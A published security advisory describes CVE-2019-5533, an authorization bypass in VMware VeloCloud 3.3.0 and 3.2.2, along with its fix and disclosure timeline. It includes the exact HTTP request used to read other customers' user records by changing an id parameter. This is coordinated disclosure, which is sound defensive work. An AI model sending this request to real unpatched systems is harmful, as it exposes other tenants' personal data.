VMware VeloCloud 3.3.0 / 3.2.2 Authorization Bypass

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
#############################################################  
#  
# Product: VeloCloud  
# Vendor: VMware  
# CVE ID: CVE-2019-5533  
# CSNC ID: CSNC-2019-007  
# Subject: Authorization Bypass  
# Risk: Moderate  
# Effect: Remotely exploitable  
# CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N  
# Author: Silas Bärtsch <[email protected]>  
# Date: 10.16.2019  
#  
#############################################################  
  
Introduction:  
-------------  
VeloCloud [1], now part of VMware, is a SD-WAN market leader.  
VMware SD-WAN by VeloCloud is a key component of the Virtual Cloud Network  
and tightly integrated with NSX Data Center and NSX Cloud to enable customers  
extend consistent networking and security policies from the data center  
to the branch to the cloud. Compass Security [2] identified a vulnerability  
that allows a VeloCloud standard admin user to access user information  
of other VeloCloud customers.  
  
Affected:  
---------  
Vulnerable:  
3.3.0 and 3.2.2.  
  
Not vulnerable:  
3.3.1  
  
No other version was tested, but it is believed for the older versions to be  
vulnerable as well.  
  
Technical Description  
---------------------  
The standard admin user uses the following HTTP request to retrieve  
user information. The request contains the id parameter twice. The server  
does not perform any authorization checks on this parameter. Changing  
it will return the user details of the corresponding user, even if the  
returned user details belong to other VeloCloud customers.  
  
```  
POST /portal/ HTTP/1.1  
Host: vco109-usca1.velocloud.net  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://vco109-usca1.velocloud.net/  
Content-Type: application/json  
x-vco-privileges-version: 1560945325637  
X-Requested-With: XMLHttpRequest  
Content-Length: 90  
Cookie: culture=en-US; velocloud.session=[CUT-BY-COMPASS]  
Connection: close  
  
{"jsonrpc":"2.0","method":"enterpriseUser/getEnterpriseUser","params":{"id":1},"id":1}  
```  
  
The following information is returned.  
```  
HTTP/1.1 200 OK  
Server: nginx  
Date: Wed, 19 Jun 2019 13:02:11 GMT  
Content-Type: application/json  
Content-Length: 569  
Connection: close  
X-Powered-By: Express  
Set-Cookie: velocloud.message=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT  
x-vco-privileges-version: 1560945325637  
Cache-Control: no-cache,no-store,must-revalidate  
Pragma: no-cache  
Expires: 0  
Strict-Transport-Security: max-age=31536000; includeSubdomains;  
X-Frame-Options: SAMEORIGIN  
  
{"jsonrpc":"2.0","result":  
{  
"id":[CUT-BY-COMPASS],  
"created":"[CUT-BY-COMPASS]",  
"userType":"[CUT-BY-COMPASS]",  
"username":"[CUT-BY-COMPASS]",  
"domain":[CUT-BY-COMPASS],  
"password":"*****",  
"firstName":[CUT-BY-COMPASS],  
"lastName":[CUT-BY-COMPASS],  
"officePhone":[CUT-BY-COMPASS],  
"mobilePhone":[CUT-BY-COMPASS],  
"email":"[CUT-BY-COMPASS]",  
"isNative":[CUT-BY-COMPASS],  
"isActive":[CUT-BY-COMPASS],  
"isLocked":[CUT-BY-COMPASS],  
"disableSecondFactor":[CUT-BY-COMPASS],  
"lastLogin":"[CUT-BY-COMPASS]",  
"modified":"[CUT-BY-COMPASS]",  
"passwordModified":"[CUT-BY-COMPASS]",  
"enterpriseId":[CUT-BY-COMPASS],  
"enterpriseProxyId":[CUT-BY-COMPASS],  
"roleId":[CUT-BY-COMPASS],  
"roleName":"[CUT-BY-COMPASS]",  
"networkId":[CUT-BY-COMPASS],  
"isSuper":[CUT-BY-COMPASS]},  
"id":[CUT-BY-COMPASS]  
}  
```  
  
Workaround / Fix:  
-----------------  
Upgrade to VeloCloud 3.3.1, where the authorization checks are performed correctly.  
  
Timeline:  
---------  
2019-10-16: Coordinated public disclosure date  
2019-08-26: Assigned CVE-2019-5533  
2019-08-21: Release of VeloCloud 3.3.1 which includes a fix for the vulnerability  
2019-07-02: Initial vendor response  
2019-07-01: Initial vendor notification  
2019-06-27: Assigned CSNC-2019-007  
2019-06-19: Discovery by Silas Bärtsch  
  
References:  
-----------  
[1] https://www.velocloud.com  
[2] https://compass-security.com  
`